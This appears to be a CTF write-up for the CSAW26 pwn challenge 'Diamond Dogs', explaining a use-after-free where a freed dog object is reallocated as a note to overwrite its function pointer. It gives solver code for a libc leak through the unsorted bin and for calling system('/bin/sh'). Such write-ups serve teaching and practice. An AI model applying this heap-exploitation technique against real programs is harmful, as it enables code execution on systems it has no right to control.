$ / 3 min read/pwn
Diamond Dogs
Two object types drawn from the same heap, both freed without clearing their slot — type confusion turns a dangling dog into an arbitrary call.
- section
- CSAW26
- event
- ctf.csaw.io ↗
- category
- pwn
- status
- ● solved
- provided
- guard-dog, gd.c, libc-2.31.so, ld-2.31.so (from files(1).zip)
Vulnerability
Dogs and notes are different types drawn from the same heap. release frees a
dog without clearing dogs[i], and the note routines have the same omission.
The object
adopt allocates 0x20 bytes: a 24-byte name at offset 0, and a function
pointer at offset 0x18 initialised to woof.
pvVar3 = malloc(0x20);
*(code **)((long)pvVar3 + 0x18) = woof;
read_n(pvVar3, 0x18); // name
*(undefined1 *)((long)pvVar3 + 0x17) = 0;
command calls through that pointer and passes the object itself as the
first argument — exactly the shape needed for system("/bin/sh"), since the
string and the pointer live in the same chunk:
(**(code **)(lVar1 + 0x18))(lVar1);
Exploit
1. libc leak
Same unsorted-bin trick as Hells Bells: a 0x500 note is too large for tcache,
so freeing it leaves main_arena+0x60 in its fd, read back through the
dangling note slot. A 0x80 note guards against top-chunk consolidation.
note(0, 0x500, b'A'); note(1, 0x80, b'B')
shred(0)
libc.address = u64(read_note(0, 8)) - 0x1ecbe0
2. Type confusion
A freed dog chunk lands in tcache bin 0x30. A note requested at size 0x20 is
served that exact chunk, and the note write covers all 0x20 bytes — including
the function pointer field the note type does not know exists.
adopt(0, b'rex') # dogs[0] = chunk, +0x18 = woof
release(0) # freed, dogs[0] still set
note(2, 0x20, b'/bin/sh\x00'.ljust(0x18, b'\x00') + p64(libc.sym.system))
3. Trigger
command(0) # (*(chunk+0x18))(chunk) -> system("/bin/sh")
Notes
No tcache fd corruption is required at all, so safe-linking would not have
helped here — the bug is the size collision between two struct types.
Solver: ~/ctf/work/pwn2/files/exploit.py
## challenge files
18 files · 1.8 MB- Dockerfile
- exploit.py
- gd.c
- guard-dog
- guard-dog_ghidra/
- ld-2.31.so
- libc-2.31.so
- libc.so.6
- rel.py
flags redacted; flag images and local flag.txt files removed